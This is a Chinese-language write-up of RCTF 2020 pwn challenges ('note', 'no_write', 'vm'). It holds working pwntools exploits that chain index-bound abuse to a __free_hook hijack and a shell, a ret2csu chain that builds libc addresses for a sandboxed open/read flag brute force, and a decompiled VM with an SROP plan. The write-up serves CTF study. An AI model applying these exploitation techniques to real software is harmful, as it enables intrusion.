2020-RCTF

字数统计: 5.3k字   |   阅读时长≈ 28分

2020RCTF，no_write利用巧妙的gadget实现在内存中 布置任意的 libc地址，最终实现不泄露libc地址即可完成orw。vm也是不能泄露地址，但是可以利用vm自带的指令实现在内存中布置任意libc地址，完成or，通过exit输出flag的一字节；bf类似 brainfuck解释器，指针加存在off-by-one漏洞；best_php，webpwn 但是没环境，后续专门学习一下。

note

程序分析

这道题感觉我是通过非预期解做的，十分简单。

程序逻辑是个菜单题，但是edit和 show对 chunk的 id都没有检查下界，导致可以为负数，向上写和覆盖。

利用分析

那么非预期就是通过 edit和 show来 控制 chunk_list达到任意地址写和覆盖。

EXP

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
from pwn import *
context.update(arch='amd64', os='linux', log_level='debug')
context.terminal=(['tmux', 'split', '-h'])
filename = './note'
libcname = '/lib/x86_64-linux-gnu/libc.so.6'
debug = 1
if debug == 1:
    p = process(filename)
    elf = ELF(filename)
    libc = ELF(libcname)

def Add(idx, size):
    p.sendlineafter('Choice: ', str(1))
    p.sendlineafter('Index: ', str(idx))
    p.sendlineafter('Size: ', str(size))

def Delete(idx):
    p.sendlineafter('Choice: ', str(2))
    p.sendlineafter('Index: ', str(idx))

def Show(idx):
    p.sendlineafter('Choice: ', str(3))
    p.sendlineafter('Index: ', str(idx))

def Edit(idx, payload):
    p.sendlineafter('Choice: ', str(4))
    p.sendlineafter('Index: ', str(idx))
    p.sendlineafter('Message: \n', payload)

def Overf(idx, payload):
    p.sendlineafter('Choice: ', str(7))
    p.sendlineafter('Index: ',str(idx))
    p.sendlineafter('Message: \n', payload)

def AddL(name):
    p.sendlineafter('Choice: ', str(6))
    p.sendlineafter('ive a super name: ', name)

def Pwn():
    Add(0, 0)
    Overf(0, '/bin/sh\x00')
    Show(-5)
    plt_base = u64(p.recv(6).ljust(8, b'\x00'))-0x4008
    print('plt_base:',hex(plt_base))
    exit_got = plt_base+elf.got['exit']
    chunks = plt_base+0x4080+0x18*3
    print('free_got:',hex(exit_got))
    payload = p64(chunks)+p64(0x100)
    gdb.attach(p, 'bp $rebase(0x1adc)')
    Edit(-5, payload)

    payload = p64(exit_got)+p64(0x100)+p64(0)
    Edit(-5, payload)

    Show(3)
    libc_addr = u64(p.recv(6).ljust(8, b'\x00'))-libc.sym['exit']
    print('libc_addr:',hex(libc_addr))
    system_addr = libc_addr+libc.sym['system']
    free_hook = libc_addr+libc.sym['__free_hook']

    payload = p64(free_hook)+p64(0x100)+p64(0)#+p64(free_hook)+0x100
    Edit(-5, payload)

    payload = p64(system_addr)
    Edit(3, payload)

    Delete(0)
    p.interactive()

Pwn()

no_write

程序分析

1
2
3
4
5
6
7
8
int __cdecl main(int argc, const char **argv, const char **envp)
{
  char v4[16]; // [rsp+0h] [rbp-10h] BYREF

  init();
  read_n(v4, 256LL);
  return 0;
}

程序漏洞很简单，就是一个简单的栈溢出。但是这道题启用了沙箱，只能执行 open read exit三个函数。也就是没有输出函数。同时程序没有开启PIE。

利用分析

这道题有两个很关键的点：

  1. 构造 任意 libc 地址

这道题没有输出函数，我们也就不能向往常一样 泄露得到libc地址。但是这道题我们可以通过两个步骤，在内存 bss中构造出 我们需要的 libc 地址。

首先是如下函数：

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
.text:0000000000400520 _start          proc near               ; DATA XREF: LOAD:0000000000400018↑o
.text:0000000000400520 ; __unwind {
.text:0000000000400520                 xor     ebp, ebp
.text:0000000000400522                 mov     r9, rdx         ; rtld_fini
.text:0000000000400525                 pop     rsi             ; argc
.text:0000000000400526                 mov     rdx, rsp        ; ubp_av
.text:0000000000400529                 and     rsp, 0FFFFFFFFFFFFFFF0h
.text:000000000040052D                 push    rax
.text:000000000040052E                 push    rsp             ; stack_end
.text:000000000040052F                 mov     r8, offset __libc_csu_fini ; fini
.text:0000000000400536                 mov     rcx, offset __libc_csu_init ; init
.text:000000000040053D                 mov     rdi, offset main ; main
.text:0000000000400544                 call    cs:__libc_start_main_ptr
.text:000000000040054A                 hlt
.text:000000000040054A ; } // starts at 400520

在 start函数中，会调用 __libc_start_main_ptr函数，该函数会在 会在内存内写入initial,exit_funcs_lock的libc地址，而执行的参数如下：

1
2
3
4
5
► 0x400544 <_start+36>                  call   qword ptr [rip + 0x200aa6] <__libc_start_main>
       rdi: 0x4006bf (read_n) ◂— push   rbp
       rsi: 0x6013d0 ◂— 0x0
       rdx: 0x300
       rcx: 0x7f05487e3320 (__read_nocancel+7) ◂— cmp    rax, -0xfff

那么，我们这里只需要设置 rdi为 readn函数，迁移 rbp到 bss断， 那么即可再次执行 输入函数，同时也在 内存中留下了 libc地址。

1
2
3
4
5
6
7
8
9
00:0000│ rsp      0x6013b8 ◂— 0x30000000000
01:0008│          0x6013c0 —▸ 0x6013d0 —▸ 0x7f448b6e1840 (__libc_start_main+240) ◂— mov
    edi, eax
02:0010│ rbp      0x6013c8 —▸ 0x7f448b7b8320 (__read_nocancel+7) ◂— cmp    rax, -0xfff
03:0018│ rax rsi  0x6013d0 —▸ 0x7f448b6e1840 (__libc_start_main+240) ◂— mov    edi, eax
04:0020│          0x6013d8 ◂— 0x0
05:0028│          0x6013e0 ◂— 0x300
06:0030│          0x6013e8 ◂— 0x6013d000000000
07:0038│          0x6013f0 —▸ 0x4006bf (read_n) ◂— push   rbp

然后，需要用到如下的 gadget:

1
2
3
0x4005e8 <__do_global_dtors_aux+24>:	add    DWORD PTR [rbp-0x3d],ebx
0x4005eb <__do_global_dtors_aux+27>:	nop    DWORD PTR [rax+rax*1+0x0]
0x4005f0 <__do_global_dtors_aux+32>:	repz ret

在这个 gadget中，可以将 rbp-0x3d的值与 ebx相加，如果我们能够控制 rbp和 rbx，那么就可以实现任意内存改写。而结合上一步在 bss中留下的 libc地址，我们就可以实现在 bss中构造任意 libc地址。而通过 csu_init我们刚好可以精确控制 rbp和 rbx。这里我们选择将 0x6013c8的libc修改为我们需要的 open地址

  1. 得到 flag

通过第一步，我们解决了 libc的问题。那么如何得到 flag。方法其实在 天翼杯和蓝帽杯都有过类似思路。将 flag通过 open和 read读入内存，再通过 strncmp比较每一个字节，不断爆破得到flag。那么就需要 strncmp函数

注意，这里不能直接使用 strncmp函数，而是要使用 strncmp_sse42函数。原因是我们正常调用 strncmp函数，系统并不会去延迟绑定 strncmp，而是会使用 strncmp_sse42。

然后，还有个关键问题，是如何判断我们 爆破到了 正确的 字符。这里有两种方法：

一种是，当 strncmp比较正确时，会返回 rax=0，而如果我们紧接着使用 syscall调用，那么系统就会调用 read函数，此时就会进入等待状态；而如果 rax!=0时，syscall就可能为非法调用。

另一种方法，曾经在 P4nda学长的一道内核题目中看到，即将 我们的输入放入到 bss的边界上，如果strncmp判断正确，那么即继续比较下一地址的字符，而 bss紧邻的地址 是不具有 可读权限的，此时程序会报错，那么即可认为此时 字符比较正确。

EXP

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
from pwn import *
context.update(arch='amd64', os='linux', log_level='debug')
context.terminal=(['tmux', 'split', '-h'])
filename = './no_write'
libcname = '/lib/x86_64-linux-gnu/libc.so.6'
debug = 1

elf = ELF(filename)
libc = ELF(libcname)

p_rdi = 0x0000000000400773
p_rsi_r15 = 0x0000000000400771
read_plt = 0x4004f0
csu_end_addr = 0x40076a
csu_front_addr = 0x400750
leave_ret = 0x40067c
gad1 = 0x4005e8
readn = 0x4006bf
libc_star_main = 0x400544
read_got = 0x600fd8
add = 0x4005E8
# .text:00000000004005E8                 add     [rbp-3Dh], ebx
# .text:00000000004005EB                 nop     dword ptr [rax+rax+00h]
# .text:00000000004005F0                 rep retn
p_rbx_rbp = 0x40076a
off_open = -0x230
ret_addr = 0x00000000004004be
p_rbp = 0x0000000000400588
chr_set = "{}_"+string.ascii_letters+string.digits

if debug:
    libc = ELF('/lib/x86_64-linux-gnu/libc.so.6')
    p = process('./no_write')

def csu(call_addr, arg1, arg2, arg3, fake_rbp, last):
    payload = p64(csu_end_addr)+p64(0)+p64(1)+p64(call_addr)
    payload += p64(arg1)+p64(arg2)+p64(arg3)
    payload += p64(csu_front_addr)
    payload += p64(0)*2+p64(fake_rbp)+p64(0)*4+p64(last)
    return payload

def Pwn(real_flag):
    bss_addr = elf.bss()+0x300
    #gdb.attach(p, 'bp 0x4006e0')

    #make libc -> bss_addr
    payload = 'a'*0x18+csu(read_got, 0, bss_addr+0x58, 0x300, bss_addr+0x100, leave_ret)    #ebp->bss,rsp->bss+0x100
    p.sendline(payload)
    payload = b'\x00'*(0x100-0x58)+p64(bss_addr)+p64(p_rdi)+p64(readn)+p64(libc_star_main)  #readn(0,bss_addr,0x300), ebp=bss_addr-0x8
    #raw_input()
    p.send(payload)
    sleep(0.1)

    print('======> change addr')
    #change libc -> open
    payload = p64(p_rbx_rbp)+p64(off_open,sign="signed")+p64(bss_addr+0x50+0x3d)+p64(0)*4+p64(add)
    open_addr = bss_addr+0x50
    flag = bss_addr+0x300
    flag_addr = bss_addr
    payload += csu(read_got, 0, bss_addr+0x300, 0x400, bss_addr+0x300, leave_ret)
    #raw_input()
    p.send(payload)
    sleep(0.1)

    print('====== open and read')
    #open and read flag
    payload = './flag\x00\x00'+csu(open_addr, flag, 0, 0, bss_addr+0x300, ret_addr)
    payload += csu(read_got, 3, flag_addr, 0x30, bss_addr+0x300, ret_addr)
    payload += csu(read_got, 0, bss_addr+0x500, 0x300, bss_addr+0x500-0x8, leave_ret)
    #raw_input()
    p.sendline(payload)
    sleep(0.1)

    print('====== cmp')
    # cmp and end cmp
    off_strncmp_open = 0x7ffff7b52a90 - 0x7ffff7b04030
    off_syscall_strncmp = 0x4ea60
    payload = p64(p_rbx_rbp)+p64(off_strncmp_open, sign="signed")+p64(bss_addr+0x50+0x3d)+p64(0)*4+p64(add)
    strncmp_addr = open_addr
    res = bss_addr+0x700
    payload += csu(read_got,0,res+0x100,0x20,bss_addr+0x500,ret_addr)
    payload += csu(strncmp_addr,res,res+0x100,len(real_flag),bss_addr+0x500,ret_addr)
    #recover syscall
    payload += p64(p_rbx_rbp)+p64(off_syscall_strncmp,sign="signed")+p64(open_addr+0x3d)+p64(0)*4+p64(add)
    payload += p64(p_rdi)+p64(0)+p64(p_rsi_r15)+p64(bss_addr+0x200)*2+p64(p_rbp)+p64(open_addr-8)+p64(leave_ret)
    sleep(0.1)
    p.send(payload)
    sleep(0.1)
    p.send(real_flag)

my_flag = ""
i = 0
while True:
    try:
        print('>>> try :',chr_set[i], i)
        Pwn(my_flag+chr_set[i])
        p.recvline(timeout=0.3)
        #p.interactive()
        my_flag = my_flag + chr_set[i]
        print ' =========> my_flag:',my_flag
        i = 0
        p.close()
        raw_input()
    except EOFError:
        i += 1
        p.close()
    if debug:
        libc = ELF('/lib/x86_64-linux-gnu/libc.so.6')
        p = process('./no_write')

VM

程序分析

程序是一个典型的 vm 题，不过这道题开启了 多线程，并且关闭了全部输出，所以需要我们自己在 内存中，布置我们需要的 libc地址。并且开启了沙箱，我们只能通过 ROW来读取 flag。由于关闭了输出，但是可以看到父进程在子进程执行完毕之后输出子进程运行过程中的错误代码，因此我们可以在子进程中open,read读取flag，然后调用exit以单字节的形式输出flag中的一个字节，循环几次即可输出flag。

这里程序主要有两个功能，一个是对用户输入 code进行 check，逻辑如下：

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
__int64 __fastcall check(__int64 chunk1)
{
  int rip1; // eax
  char v2; // al
  char v4; // [rsp+19h] [rbp-27h]
  unsigned __int8 v5; // [rsp+1Dh] [rbp-23h]
  unsigned __int8 v6; // [rsp+1Eh] [rbp-22h]
  char v7; // [rsp+20h] [rbp-20h]
  unsigned __int8 v8; // [rsp+21h] [rbp-1Fh]
  unsigned __int8 v9; // [rsp+22h] [rbp-1Eh]
  unsigned int v10; // [rsp+24h] [rbp-1Ch]
  int v11; // [rsp+28h] [rbp-18h]
  unsigned int v12; // [rsp+2Ch] [rbp-14h]
  unsigned __int8 *rsp1; // [rsp+30h] [rbp-10h]

  v10 = 0;
  rsp1 = *(unsigned __int8 **)(chunk1 + 80);    // option code
  v11 = 1;
  while ( v11 )
  {
    ++v10;
    rip1 = (unsigned __int8)get_opt(rsp1);
    if ( (unsigned __int8)rip1 == 9 )           // 9
    {
      if ( (unsigned __int8)get_opt(rsp1 + 1) > 7u )
        exit1("Invalid register!");
      rsp1 += 2;                                // pop rsp 2
    }
    else if ( rip1 > 9 )
    {
      if ( rip1 == 12 )                         // 12
      {
        rsp1 += 2;                              // pop rsp 2
      }
      else if ( rip1 > 12 )
      {
        if ( rip1 == 14 )                       // 14
        {
          ++rsp1;                               // pop rsp 1
        }
        else if ( rip1 < 14 )                   // 13
        {
          v12 = get_reg((unsigned int *)(rsp1 + 1));// change total_size
          if ( v12 <= 0xFF || v12 > 0x1000 )
            exit1("Invalid size!");
          *(_DWORD *)(chunk1 + 0x5C) = v12 >> 3;
          *(_DWORD *)(chunk1 + 0x58) = 0;       // count = 0
          rsp1 += 5;                            // pop rsp 5
        }
        else                                    // 255
        {
          if ( rip1 != 255 )
            exit1("Invalid code!");
          v11 = 0;                              // break
        }
      }
      else if ( rip1 == 10 )                    // 10
      {
        v4 = get_opt(rsp1 + 1);
        if ( v4 != 1 && v4 )
          exit1("Invalid code!");
        if ( *(_DWORD *)(chunk1 + 88) >= *(_DWORD *)(chunk1 + 92) )
          exit1("Invalid code!");
        if ( v4 == 1 )                          // 10 1
        {
          rsp1 += 10;                           // pop rsp 10
        }
        else                                    // 10 0
        {
          if ( (unsigned __int8)get_opt(rsp1 + 2) > 7u )
            exit1("Invalid register!");
          rsp1 += 3;                            // pop rsp 3
        }
        ++*(_DWORD *)(chunk1 + 88);             // count +1
      }
      else                                      // 11
      {
        if ( !*(_DWORD *)(chunk1 + 88) )
          exit1("Invalid code!");
        rsp1 += 2;                              // pop rsp 2
        --*(_DWORD *)(chunk1 + 88);             // count -1
      }
    }
    else if ( rip1 == 4 )                       // 4
    {
      v2 = get_opt(rsp1 + 1);
      if ( (v2 & 1) != 0 || (v2 & 4) != 0 )     // 4 1,4
      {
        if ( (unsigned __int8)get_opt(rsp1 + 2) > 7u )
          exit1("Invalid register!");
        rsp1 += 11;                             // pop rsp 11
      }
      else                                      // 4 0
      {
        if ( (v2 & 8) == 0 && (v2 & 0x10) == 0 && (v2 & 0x20) == 0 )
          exit1("Invalid code!");
        v5 = get_opt(rsp1 + 2);
        v6 = get_opt(rsp1 + 3);
        if ( v5 > 7u || v6 > 7u )
          exit1("Invalid register!");
        rsp1 += 4;                              // pop rsp 4
      }
    }
    else if ( rip1 > 4 && rip1 == 5 )           // 5
    {
      rsp1 += 2;                                // pop rsp 2
    }
    else                                        // 6,7,8
    {
      v7 = get_opt(rsp1 + 1);
      if ( v7 == 1 )                            // 6 1
      {
        if ( (unsigned __int8)get_opt(rsp1 + 2) > 7u )
          exit1("Invalid register!");
        rsp1 += 11;
      }
      else                                      // 6 0
      {
        if ( v7 )
          exit1("Invalid code!");
        v8 = get_opt(rsp1 + 2);
        v9 = get_opt(rsp1 + 3);
        if ( v8 > 7u || v9 > 7u )
          exit1("Invalid register!");
        rsp1 += 4;
      }
    }
  }
  *(_DWORD *)(chunk1 + 92) = 256;
  *(_DWORD *)(chunk1 + 88) = 0;
  return v10;
}

然后，就是 vm常见功能，对指令进行相应的执行：

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
147
148
149
150
151
152
153
154
155
156
157
158
159
160
161
162
163
164
165
166
167
168
169
170
171
172
173
174
175
176
177
178
179
180
181
182
183
184
185
186
187
188
189
190
191
192
193
194
195
196
197
198
199
200
201
202
203
204
205
206
207
208
209
210
211
212
213
214
215
216
217
218
219
220
221
222
223
224
225
226
227
228
229
230
231
232
233
234
235
236
237
238
239
240
241
242
243
244
245
unsigned __int64 __fastcall funcs(__int64 chunk1, int num)
{
  int rip2; // eax
  char v3; // al
  _QWORD *v4; // rbx
  char v5; // al
  unsigned __int8 v8; // [rsp+14h] [rbp-6Ch]
  unsigned __int8 v9; // [rsp+15h] [rbp-6Bh]
  unsigned __int8 v10; // [rsp+17h] [rbp-69h]
  unsigned __int8 v11; // [rsp+19h] [rbp-67h]
  unsigned __int8 v12; // [rsp+1Bh] [rbp-65h]
  unsigned __int8 v13; // [rsp+1Dh] [rbp-63h]
  unsigned __int8 v14; // [rsp+1Fh] [rbp-61h]
  unsigned __int8 v15; // [rsp+21h] [rbp-5Fh]
  unsigned __int8 v16; // [rsp+24h] [rbp-5Ch]
  unsigned __int8 v17; // [rsp+26h] [rbp-5Ah]
  unsigned __int8 v18; // [rsp+27h] [rbp-59h]
  unsigned __int8 v19; // [rsp+28h] [rbp-58h]
  unsigned __int8 v20; // [rsp+2Ah] [rbp-56h]
  unsigned __int8 v21; // [rsp+2Dh] [rbp-53h]
  unsigned __int8 v22; // [rsp+2Fh] [rbp-51h]
  unsigned __int8 v23; // [rsp+31h] [rbp-4Fh]
  unsigned __int8 v24; // [rsp+33h] [rbp-4Dh]
  unsigned __int8 v25; // [rsp+35h] [rbp-4Bh]
  unsigned __int8 v26; // [rsp+37h] [rbp-49h]
  unsigned __int8 v27; // [rsp+39h] [rbp-47h]
  unsigned __int8 v28; // [rsp+3Bh] [rbp-45h]
  unsigned int v29; // [rsp+3Ch] [rbp-44h]
  unsigned __int8 *rsp2; // [rsp+40h] [rbp-40h]
  __int64 v31; // [rsp+48h] [rbp-38h]
  __int64 v32; // [rsp+58h] [rbp-28h]
  __int64 v33; // [rsp+60h] [rbp-20h]
  unsigned __int64 v34; // [rsp+68h] [rbp-18h]

  v34 = __readfsqword(0x28u);
  rsp2 = *(unsigned __int8 **)(chunk1 + 80);
  while ( num )
  {
    --num;
    rip2 = (unsigned __int8)get_opt(rsp2);
    if ( (unsigned __int8)rip2 == 7 )
    {
      if ( (unsigned __int8)get_opt(rsp2 + 1) == 1 )// p8(7)+p8(1)
      {
        v13 = get_opt(rsp2 + 2);
        *(_QWORD *)(8LL * v13 + chunk1) ^= get_value(rsp2 + 3);// chunks+addr ^= value
        rsp2 += 11;                             // change total_size count rsp
      }
      else                                      // p8(7)+p8(0)
      {
        v12 = get_opt(rsp2 + 2);
        *(_QWORD *)(8LL * v12 + chunk1) ^= *(_QWORD *)(8LL * (unsigned __int8)get_opt(rsp2 + 3) + chunk1);// chunk1+addr ^= chunk1+value
        rsp2 += 4;
      }
    }
    else if ( rip2 > 7 )
    {
      if ( rip2 == 11 )                         // p8(11)
      {
        *(_QWORD *)(8LL * (unsigned __int8)get_opt(rsp2 + 1) + chunk1) = **(_QWORD **)(chunk1 + 64);// [addr] = [bss]
        *(_QWORD *)(chunk1 + 64) += 8LL;        // bss ++
        --*(_DWORD *)(chunk1 + 88);             // count -1
        rsp2 += 2;
      }
      else if ( rip2 > 11 )
      {
        if ( rip2 == 13 )                       // p8(13)
        {
          v29 = get_reg((unsigned int *)(rsp2 + 1));
          free((void *)(*(_QWORD *)(chunk1 + 72) - 8LL * *(unsigned int *)(chunk1 + 92)));// free(ends_addr - off)
          create(chunk1, v29);
          rsp2 += 5;
        }
        else if ( rip2 < 13 )                   // p8(12)
        {
          rsp2 += (unsigned __int8)get_opt(rsp2 + 1) + 2;// pop rsp+value+2
        }
        else if ( rip2 == 14 )                  // p8(14)
        {
          ++rsp2;                               // pop rsp 1
        }
      }
      else if ( rip2 == 9 )                     // p8(9)
      {
        v9 = get_opt(rsp2 + 1);
        *(_QWORD *)(8LL * v9 + chunk1) = ~*(_QWORD *)(8LL * v9 + chunk1);// [addr] ~= [addr]
        rsp2 += 2;                              // pop rsp 2
      }
      else if ( rip2 > 9 )                      // p8(10)
      {
        if ( (unsigned __int8)get_opt(rsp2 + 1) == 1 )// p8(10)+p8(1)
        {
          v31 = get_value(rsp2 + 2);
          *(_QWORD *)(chunk1 + 64) -= 8LL;      // bss --
          **(_QWORD **)(chunk1 + 64) = v31;     // [bss_addr]=value
          rsp2 += 10;                           // pop rsp 10
        }
        else                                    // p8(10)+p8(0)
        {
          v8 = get_opt(rsp2 + 2);
          *(_QWORD *)(chunk1 + 64) -= 8LL;      // bss--
          **(_QWORD **)(chunk1 + 64) = *(_QWORD *)(chunk1 + 8LL * v8);// [bss]=[addr]
          rsp2 += 3;
        }
        ++*(_DWORD *)(chunk1 + 88);             // count ++
      }
      else
      {
        v5 = get_opt(rsp2 + 1);
        if ( v5 == 1 )                          // p8(8)+p8(1)
        {
          v11 = get_opt(rsp2 + 2);
          *(_QWORD *)(8LL * v11 + chunk1) |= get_value(rsp2 + 3);// [addr] |= value
          rsp2 += 11;                           // pop rsp 11
        }
        else                                    // p8(8)+p8(0)
        {
          v10 = get_opt(rsp2 + 2);
          *(_QWORD *)(8LL * v10 + chunk1) |= *(_QWORD *)(8LL * (unsigned __int8)get_opt(rsp2 + 3) + chunk1);// stack_addr |= value
          rsp2 += 4;
        }
      }
    }
    else if ( rip2 == 3 )
    {
      if ( (unsigned __int8)get_opt(rsp2 + 1) == 1 )// p8(3)+p8(1)
      {
        v22 = get_opt(rsp2 + 2);
        *(_QWORD *)(chunk1 + 8LL * v22) = *(_QWORD *)(8LL * v22 + chunk1) / (unsigned __int64)get_value(rsp2 + 3);// [addr] = [addr]/value
        rsp2 += 11;
      }
      else
      {                                         // p8(3)+p8(0)
        v21 = get_opt(rsp2 + 2);
        *(_QWORD *)(8LL * v21 + chunk1) /= *(_QWORD *)(8LL * (unsigned __int8)get_opt(rsp2 + 3) + chunk1);// [addr] /= [addr2]
        rsp2 += 4;
      }
    }
    else if ( rip2 > 3 )
    {
      if ( rip2 == 5 )                          // p8(5)
      {
        *(_QWORD *)(chunk1 + 80) = *(_QWORD *)(8LL * (unsigned __int8)get_opt(rsp2 + 1) + chunk1);// rsp = [addr]
        rsp2 += 2;
      }
      else if ( rip2 > 5 )
      {
        if ( (unsigned __int8)get_opt(rsp2 + 1) == 1 )// p8(6)+p8(1)
        {
          v15 = get_opt(rsp2 + 2);
          *(_QWORD *)(8LL * v15 + chunk1) &= get_value(rsp2 + 3);// [addr] &= value
          rsp2 += 11;
        }
        else                                    // p8(6)+p8(0)
        {
          v14 = get_opt(rsp2 + 2);
          *(_QWORD *)(8LL * v14 + chunk1) &= *(_QWORD *)(8LL * (unsigned __int8)get_opt(rsp2 + 3) + chunk1);// [addr] &= ([addr]+value)
          rsp2 += 4;
        }
      }
      else
      {
        v3 = get_opt(rsp2 + 1);
        if ( (v3 & 1) != 0 )                    // p8(4)+p8(1)
        {
          v4 = (_QWORD *)(8LL * (unsigned __int8)get_opt(rsp2 + 2) + chunk1);// value = [addr]
          *v4 = get_value(rsp2 + 3);            // [value] =value
          rsp2 += 11;
        }
        else if ( (v3 & 4) != 0 )               // p8(4)+p8(4)
        {
          v20 = get_opt(rsp2 + 2);
          v33 = get_value(rsp2 + 3);
          *(_QWORD *)(8LL * v20 + chunk1) = get_value(v33);// [addr] = [value]
          rsp2 += 11;
        }
        else if ( (v3 & 8) != 0 )               // p8(4)+p8(8)
        {
          v19 = get_opt(rsp2 + 2);
          *(_QWORD *)(8LL * v19 + chunk1) = *(_QWORD *)(8LL * (unsigned __int8)get_opt(rsp2 + 3) + chunk1);// [addr] = [addr1]
          rsp2 += 4;
        }
        else if ( (v3 & 0x10) != 0 )            // p8(4)+p8(0x10)
        {
          v17 = get_opt(rsp2 + 2);
          v18 = get_opt(rsp2 + 3);
          v32 = get_value(*(_QWORD *)(8LL * v18 + chunk1));
          *(_QWORD *)(8LL * v17 + chunk1) = get_value(v32);// [addr] = [[addr]]
          rsp2 += 4;
        }
        else                                    // p8(4)+p8(0x20)
        {
          if ( (v3 & 0x20) == 0 )
            exit1("Invalid code!");
          v16 = get_opt(rsp2 + 2);
          **(_QWORD **)(8LL * v16 + chunk1) = *(_QWORD *)(8LL * (unsigned __int8)get_opt(rsp2 + 3) + chunk1);
          rsp2 += 4;                            // [[addr]] = [addr1] 
        }
      }
    }
    else if ( rip2 == 1 )
    {
      if ( (unsigned __int8)get_opt(rsp2 + 1) == 1 )// p8(1)+p8(1)
      {
        v26 = get_opt(rsp2 + 2);
        *(_QWORD *)(8LL * v26 + chunk1) -= get_value(rsp2 + 3);// [addr] -= value
        rsp2 += 11;
      }
      else                                      // p8(1)+p8(0)
      {
        v25 = get_opt(rsp2 + 2);
        *(_QWORD *)(8LL * v25 + chunk1) -= *(_QWORD *)(8LL * (unsigned __int8)get_opt(rsp2 + 3) + chunk1);// [addr]-=[addr]
        rsp2 += 4;
      }
    }
    else if ( rip2 > 1 )
    {
      if ( (unsigned __int8)get_opt(rsp2 + 1) == 1 )// p8(2)+p8(1)
      {
        v24 = get_opt(rsp2 + 2);
        *(_QWORD *)(8LL * v24 + chunk1) *= get_value(rsp2 + 3);// [addr] *= value
        rsp2 += 11;
      }
      else                                      // p8(2)+p8(0)
      {
        v23 = get_opt(rsp2 + 2);
        *(_QWORD *)(8LL * v23 + chunk1) *= *(_QWORD *)(8LL * (unsigned __int8)get_opt(rsp2 + 3) + chunk1);// [addr] *= [addr]
        rsp2 += 4;
      }
    }
    else if ( (unsigned __int8)get_opt(rsp2 + 1) == 1 )// p8(0)+p8(1)
    {
      v28 = get_opt(rsp2 + 2);
      *(_QWORD *)(8LL * v28 + chunk1) += get_value(rsp2 + 3);// [addr] += value
      rsp2 += 11;
    }
    else                                        // p8(0)+p8(0)
    {
      v27 = get_opt(rsp2 + 2);
      *(_QWORD *)(8LL * v27 + chunk1) += *(_QWORD *)(8LL * (unsigned __int8)get_opt(rsp2 + 3) + chunk1);// [addr] += [addr]
      rsp2 += 4;
    }
  }
  return __readfsqword(0x28u) ^ v34;
}

这里稍微解释一下，代码中的注释， addr代表当前的 0x71的 堆地址， value代表我们输入的值，bss代表我们存储在 0x800堆块的数据。可以看到上面对这三部分数据都有很详细的功能。

然后，看一下 0x71chunk里存储的数据：

1
2
3
4
5
6
7
8
9
10
0x55e1baad2250: 0x0000000000000000      0x0000000000000071	//chunk1
0x55e1baad2260: 0x0000000000000000      0x0000000000000000
0x55e1baad2270: 0x0000000000000000      0x0000000000000000
0x55e1baad2280: 0x0000000000000000      0x0000000000000000
0x55e1baad2290: 0x0000000000000000      0x0000000000000000
0x55e1baad22a0: 0x000055e1baad3ae0      0x000055e1baad3ae0	//chunk3  0x800
0x55e1baad22b0: 0x000055e1baad22d0      0x0000010000000000	//chunk2  0x1000 code 
0x55e1baad22c0: 0x0000000000000000      0x0000000000001011
0x55e1baad22d0: 0x000000000005000d      0x0000000000000000
0x55e1baad22e0: 0x0000000000000000      0x0000000000000000

可以看到 addr中有存储堆块地址，功能中有 free和 malloc函数，那么就可以实现堆块泄露地址。

同时 12指令中，可以将 rsp便宜到 我们指定的 off+2处，那么我们就可以利用此指令来 绕过 check。

利用分析

  1. 绕过 check

在 check指令中，我们首先必须将 指令个数 num增加到一个合适的值，最后以 \xff结尾。但是，为了将 我们在 funcs中利用的指令不受影响，我们可以利用 funcs 12指令，布置如下指令：

1
2
3
4
payload = p8(0x0c)+p8(0xfc)
payload += p32(0)*62
payload += p32(0xffffffff)
payload += funcs_code

那么，在check中，num会持续增加到 64 才会结束。而在 funcs中，首先进入12指令，执行 rsp+0xfc+2的功能，那么就会将 rsp刚好移到 我们的 funcs_code处，执行我们想利用的指令。

  1. 构造合适的 libc地址

由于程序关闭了所有输出，那么这道题的思路和上一题类似，就是在 内存中布置我们需要的 libc地址。那么首先就要在 0x71堆块中留下 libc地址。

先将 chunk3 的 size构造为 0x711，然后释放 chunk3到 unsortedbin中，再申请一个小块为 chunk3，那么此时新的 chunk3就会留下 libc地址。那么再将该 chunk3的libc地址 复制到 chunk1中，那么此时完成了在 chunk1中留下了 libc地址。

那么随后就可以利用对 chunk1的值的操作指令，将 留下的libc地址，加上偏移构造为 free_hook和 setcontext+53的地址。

  1. get flag

当有了 free_hook和 setcontext的地址后，我们首先将 free_hook复制到 chunk3处，然后通过 修改 bss指令将 free_hook修改为 setcontext+53地址。

然后，在堆上布置 libc的基址，用来构造后面 SROP里面 的 libc 地址。

然后，将 在堆上布置 SROP来执行 or，并单字节作为exit的状态码返回，从而在父进程单字节得到flag。

EXP

1
2
3
4
5
6
7
